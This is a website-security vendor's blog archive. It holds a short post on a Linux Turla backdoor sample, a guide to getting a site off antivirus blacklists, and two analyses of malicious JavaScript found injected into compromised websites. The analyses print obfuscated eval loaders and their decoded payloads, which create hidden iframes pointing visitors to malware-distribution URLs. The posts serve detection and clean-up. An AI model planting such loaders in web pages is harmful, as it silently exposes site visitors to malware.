Showing posts with label website security. Show all posts
Showing posts with label website security. Show all posts

Saturday, December 13, 2014

'Turla' Malware Now Supports Linux

New Sample Of 'Turla' Backdoor - Linux Version

Turla Malware


A new 'Turla' Trojan sample has been discovered that targeting Linux operating systems. The previous 'Turla' Trojan targeted Windows operating system but the newly discovered sample supports Linux operating systems too. 

The malware static linking to all required external libraries which makes it independent from
libraries and their versions installed on the victim machine.
'Turla' is derived from publicly available backdoor cd00r (http://www.phenoelit.org/stuff/cd00r.c) and it doesn't 
require administrator (root) privileges and could be executed by any user.
Once, the 'Turla' Trojan executed, it starts a network sniffer and listen for a specific network packet. Once the packet received 'Turla' activates backdoor functionality. 

The first 'Turla' Trojan sample was discovered in yearly 2012 when it was used to attack government computers and servers.

At the time this post was written, new sample was already detected by almost 50% of major antivirus engines

Thursday, November 28, 2013

Threat Code Mixed With Google Analytics Redirects Visitors To Malware Distributor

Obfuscated malicious JavaScript code combined with GA code


Background


Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Obfuscated JavaScript comes right after the valid GA code and placed in index.html. 

One might assume that the GA code was embedded by attacker as well to monitor his success. However, this might be a simple coincidence. Interestingly, the website is in Google blacklist database. Below you will find payload analysis and threat dump. 

For public databases of site scan reports:

For global web malware monitoring statistic and severity levels:

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu Nov 28 14:18:42 2013
Infected website's files: 1
Website malware scan report link: http://goo.gl/S4oz7N

Uncovering web threats
Online Website Malware Scanner sitescan overview

Malware entry

Beautified script

<script>varwsqWQBPps="cNRoPJdqz3ccNRoPJdqz69cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz20cNRoPJdqz73cNRoPJdqz72cNRoPJdqz63cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz68cNRoPJdqz74cNRoPJdqz74cNRoPJdqz70cNRoPJdqz3acNRoPJdqz2fcNRoPJdqz2fcNRoPJdqz70cNRoP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dqz65cNRoPJdqz6acNRoPJdqz43cNRoPJdqz50cNRoPJdqz43cNRoPJdqz7acNRoPJdqz62cNRoPJdqz41cNRoPJdqz22cNRoPJdqz20cNRoPJdqz74cNRoPJdqz69cNRoPJdqz74cNRoPJdqz6ccNRoPJdqz65cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz4ecNRoPJdqz65cNRoPJdqz73cNRoPJdqz58cNRoPJdqz6fcNRoPJdqz59cNRoPJdqz47cNRoPJdqz54cNRoPJdqz42cNRoPJdqz7acNRoPJdqz22cNRoPJdqz20cNRoPJdqz77cNRoPJdqz69cNRoPJdqz64cNRoPJdqz74cNRoPJdqz68cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz30cNRoPJdqz22cNRoPJdqz20cNRoPJdqz68cNRoPJdqz65cNRoPJdqz69cNRoPJdqz67cNRoPJdqz68cNRoPJdqz74cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz30cNRoPJdqz22cNRoPJdqz20cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz62cNRoPJdqz6fcNRoPJdqz72cNRoPJdqz64cNRoPJdqz65cNRoPJdqz72cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz30cNRoPJdqz22cNRoPJdqz3ecNRoPJdqz3ccNRoPJdqz2fcNRoPJdqz69cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz3e";yvDFQwwmM=eval;varWSxQJgvuB=wsqWQBPps.replace(/cNRoPJdqz/g,"%");]]


Malicious payload

Decoded payload generates hidden iframe to http://private3[.]zapto[.]org/blog/vlqsryyacr.php?vaowv=NHcCqUFS&amp;hrytewsfd=9889439&amp;yjresfd=854

Payload:
<iframe src="http://private3[.]zapto[.]org/blog/vlqsryyacr.php?vaowv=NHcCqUFS&amp;hrytewsfd=9889439&amp;yjresfd=854" name="yfejCPCzbA" title="NesXoYGTBz" width="0" height="0" frameborder="0"></iframe>

Blacklisting status


The website is Suspicious on Google Safe Browsing.

VirusTotal URL scan reports 8/51 antivirus and malware detection engines identified the redirect IP as malicious site.

VirusTotal URL scan report screenshot


Malware clean-up

Uncovering online threats and hidden malware is easy and effective with Online Malware Scanner. However, if you suspect that your website was infected, use Website Anti-malware Monitoring for malware removal.

Alternatively, you can try to remove malware using Quttera's website scan report. You will then need to submit your website(s) for re-testing and removing from blacklist.

Tuesday, September 10, 2013

My site is blacklisted. What next?

Quttera's support team is being constantly contacted by website anti-malware monitoring customers whose website(s) were blacklisted. This post lists several (not all) blacklisting authorities and how to submit your site for (re)testing by them.

First, you should make sure your website no longer hosts malware, spam or any other potentially harmful content. You can do it by yourself or if you're ThreatSign customer you can simply let us do it for you.

To check by yourself, you can start with online scanning via VirusTotal and/or Quttera online scanner. When reviewing the reports make a list of vendors that detect your website.

For example in VirusTotal report:

VirusTotal report

In detection ratio you can see the number of detected engines. Below, in the Analysis tab find URL scanners that mark your site as Malware site. Later we'll see hot to request a retesting by them.

In Quttera security report. In addition to the Blacklisting you see the file-by-file breakdown with all potentially suspicious content. Expand the Scanned files analysis tab and review the threat dump for each file. Go on and check manually each one of them on your server. Remove the threat and try to re-scan again.

Quttera online scanner report

Once you're sure your website is clean you can continue to the next stage of the process - submit for review/ re-test.

Submit website(s) for review by blacklisting authorities

First, it is important to mention that it is time-consuming and the results are not immediate. With Google, for example, it might take up to 3-4 days. So the key is to be patient. Below is the list that is not complete but will be a good start. We will update this post if will be required by readers/users.

1. Google Safe Browsing

The process is straight forward via Webmaster Tools and is described here https://support.google.com/webmasters/answer/168328

Request a malware review by Google

2. Sophos

We found these two ways to contact this vendor:

Reassessment Request - http://www.sophos.com/en-us/threat-center/ip-lookup.aspx#sthash.Uvzz5Bor.dpuf




and
SophosLabs IP Address Classification Lookup - https://secure2.sophos.com/en-us/threat-center/reassessment-request.aspx



As stated by Sophos you will not be contacted automatically, but they assure that the request will be reviewed in a timely manner.


3. Fortinet

Submit review request as follows:

1. Enter your website URL here and click lookup

FortiGuard Center



2.  When the report is generated scroll fown to the Classification/Rating request and fill the form. Click submit. You can add screenshot as well.

FortiGuard - Rating Request


3.  Bitdefender

The only way we found is to register in the Forum and ask for website review.

http://forum.bitdefender.com/index.php?showforum=138


BitDefender - submit website for review via Forum/ False Positive reporting

4.  Scumware

We found just simple contact form. http://www.scumware.org/contact.scumware
In the message section ask them to review your site.

Scumware - contact form


5. McAfee Site Advisor

In the User Feedback page fill in the form and choose the Type of inquiry as Submit a site for (re) testing.

McAfee - submit a site for blacklist removal

Summary

It is always a head-ache to get out of blacklists, so preventive measures and monitoring are essential steps to avoid this. Let us know if the info in post was helpful and share your experience. Read more about common pitfalls that make your website hacking easier here.


Tuesday, August 13, 2013

62 suspicious files on scanned website redirect visitors to malware

Website infected with malicious obfuscated JavaScript that injects iframes with malicious URL

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor.

This compromised website has suspicious JavaScript code injected in 62 files. Malware was found on this website's pages by Google Safe Browsing and it included 12 exploits. Currently it appears as not suspicious in Google. Quttera website malware scanner detected hidden iframes that load content from the remote URL which is Blacklisted by Sucuri.

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu Aug 8 04:46:54 2013
Infected website's files: 62
Website malware scan report link: Sitescan report link

Quttera website malware scanner
Quttera website malware scanner screenshot


Threat dump:

Detected malicious JavaScript on website
Quttera website malware scanner. Detected malicious JavaScript


Malware entry details

Beautified script

  1. try {
  2.     window.document.body++
  3. } catch (gdsgsdg) {
  4.     dbshre = 246;
  5. }
  6. if (dbshre) {
  7.     asd = 0;
  8.     try {
  9.         d = document.createElement("div");
  10.         d.innerHTML.a = "asd";
  11.     } catch (agdsg) {
  12.         asd = 1;
  13.     }
  14.     if (!asd) {
  15.         e = eval;
  16.     }
  17.     ss = String;
  18.     asgq = new Array(31, 94, 110, 104, 94, 107, 97, 104, 104, 27, 31, 33, 25, 117, 8, 1, 24, 25, 26, 27, 109, 89,107, 26, 111, 92, 105, 90, 102, 27, 52, 24, 93, 105, 94, 108, 101, 94, 104, 111, 37, 91, 107, 95, 92, 107, 93, 62,102, 96, 100, 93, 103, 110, 35, 30, 97, 95, 108, 92, 100, 93, 32, 35, 54, 4, 2, 6, 4, 27, 23, 24, 25, 110, 96,104, 89, 101, 40, 110, 105, 91, 25, 55, 27, 30, 96, 109, 110, 107, 49, 39, 40, 93, 106, 102, 104, 102, 91, 111,105, 97, 113, 40, 100, 107, 39, 92, 102, 100, 90, 99, 94, 108, 41, 103, 96, 105, 33, 54, 4, 2, 25, 26, 27, 23,108, 94, 107, 92, 99, 38, 108, 110, 116, 99, 93, 39, 106, 106, 106, 97, 109, 99, 106, 101, 24, 54, 26, 34, 88, 90,108, 105, 103, 108, 108, 94, 33, 54, 4, 2, 25, 26, 27, 23, 108, 94, 107, 92, 99, 38, 108, 110, 116, 99, 93, 39,92, 106, 105, 92, 94, 108, 27, 52, 24, 32, 42, 34, 50, 5, 3, 26, 27, 23, 24, 109, 95, 108, 88, 100, 39, 109, 111,112, 100, 94, 40, 99, 92, 97, 96, 98, 111, 23, 53, 25, 33, 44, 103, 112, 32, 53, 8, 1, 24, 25, 26, 27, 107, 93,106, 91, 103, 37, 107, 109, 115, 103, 92, 38, 112, 99, 95, 107, 96, 25, 55, 27, 30, 41, 105, 114, 34, 50, 5, 3,26, 27, 23, 24, 109, 95, 108, 88, 100, 39, 109, 111, 112, 100, 94, 40, 103, 92, 94, 109, 26, 56, 23, 31, 42, 106,115, 30, 51, 6, 4, 27, 23, 24, 25, 110, 96, 104, 89, 101, 40, 110, 107, 113, 101, 95, 41, 107, 103, 105, 26, 56,23, 31, 42, 106, 115, 30, 51, 6, 4, 8, 1, 24, 25, 26, 27, 96, 94, 25, 34, 28, 91, 103, 92, 111, 104, 92, 102, 109,40, 98, 92, 108, 62, 102, 96, 100, 93, 103, 110, 61, 112, 65, 93, 34, 34, 107, 93, 106, 91, 103, 30, 33, 34, 26,118, 4, 2, 25, 26, 27, 23, 24, 25, 26, 27, 91, 103, 92, 111, 104, 92, 102, 109, 40, 114, 105, 97, 109, 95, 35, 30,52, 93, 99, 113, 23, 97, 93, 55, 87, 30, 108, 94, 107, 92, 99, 84, 32, 56, 55, 38, 92, 98, 112, 57, 30, 33, 52, 7,5, 23, 24, 25, 26, 27, 23, 24, 25, 94, 106, 90, 109, 102, 95, 105, 107, 38, 96, 95, 111, 60, 100, 94, 103, 96,101, 108, 59, 115, 68, 91, 32, 32, 110, 96, 104, 89, 101, 33, 36, 37, 89, 105, 106, 96, 101, 92, 60, 98, 100, 99,92, 33, 110, 96, 104, 89, 101, 35, 54, 4, 2, 25, 26, 27, 23, 117, 6, 4, 120, 32, 32, 34, 53);
  19.     s = "";
  20.     for (i = 0; i - 494 != 0; i++) {
  21.         if ((020 == 0x10) % 26 % 26window.document) s += ss["fromCharCode"](1 * asgq[i] - (i % 5 - 5 - 4));
  22.     }
  23.     z = s;
  24.     e(s);
  25. }

Malicious payload


Decoded payload generates hidden iframe to http://coopmatrix.it/clicker.php

  1. (function () {
  2.  
  3.     var teqal = document.createElement('iframe');
  4.  
  5.  
  6.  
  7.     teqal.src = 'http://coopmatrix.it/clicker.php';
  8.  
  9.     teqal.style.position = 'absolute';
  10.  
  11.     teqal.style.border = '0';
  12.  
  13.     teqal.style.height = '1px';
  14.  
  15.     teqal.style.width = '1px';
  16.  
  17.     teqal.style.left = '1px';
  18.  
  19.     teqal.style.top = '1px';
  20.  
  21.  
  22.  
  23.     if (!document.getElementById('teqal')) {
  24.  
  25.         document.write('<div id=\'teqal\'></div>');
  26.  
  27.         document.getElementById('teqal').appendChild(teqal);
  28.  
  29.     }
  30.  
  31. })();

Similar payload analyzed in the obfuscated malicious JavaScripts category on our blog.

Blacklisting status


URL in the iframe is Blacklisted by Sucuri labs

Sucuri screenshot



Malware clean-up


Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.